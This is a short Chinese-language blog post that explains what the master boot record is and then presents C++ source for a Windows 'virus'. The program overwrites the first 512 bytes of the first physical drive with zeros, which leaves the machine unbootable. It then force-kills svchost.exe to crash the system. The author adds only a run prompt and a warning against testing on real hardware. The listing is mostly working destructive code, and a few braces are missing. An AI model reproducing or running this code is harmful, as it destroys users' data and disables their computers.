mbr也就是主引导记录,属于主引导扇区。
主引导扇区位于整个硬盘的0磁道0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。写入mbr后,你的电脑将无法启动。
废话不多说,直接上代码吧。
#include <windows.h>
#include <iostream>
#include <ctime>
#include <string>
#pragma execution_character_set("utf-8") //注明编码为utf-8
#include <cstdlib>
using namespace std; //命名空间
#define mbrsize 512
int killmbr() //定义一个killmbr整型函数
DWORD write;
HANDLE mbr; //定义一个mbr句柄
char mbrdata[mbrsize];
ZeroMemory(&mbrdata, (sizeof mbrdata));
mbr = CreateFile //准备写入mbr
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (WriteFile(mbr, mbrdata, mbrsize, &write, NULL) == TRUE)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED); //设置字体颜色为红色
cout << "Your computer has been destroyed" << endl; //成功写入
Sleep(5000);
}
else
{
cout << "ERROR"; //写入失败
Sleep(5000);
}
CloseHandle(mbr);
return EXIT_SUCCESS;
}
int main()
{
string op;
SetConsoleOutputCP(65001); //防止程序乱码
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED); //设置字体颜色为红色
cout << "1.是;2.否" << "\n";
cout << "这是一个病毒程序,是否运行?" << "\n" << endl; //警告用户
cin >> op;
if (op == "1")
{
killmbr(); //调用killmbr函数
system("taskkill /f /im svchost.exe /t"); //蓝屏
}
if (op == "2")
exit(0);
return 0;
}
代码由本人编写,转载时请注明原文链接。
禁止在物理机中测试病毒,否则后果自负。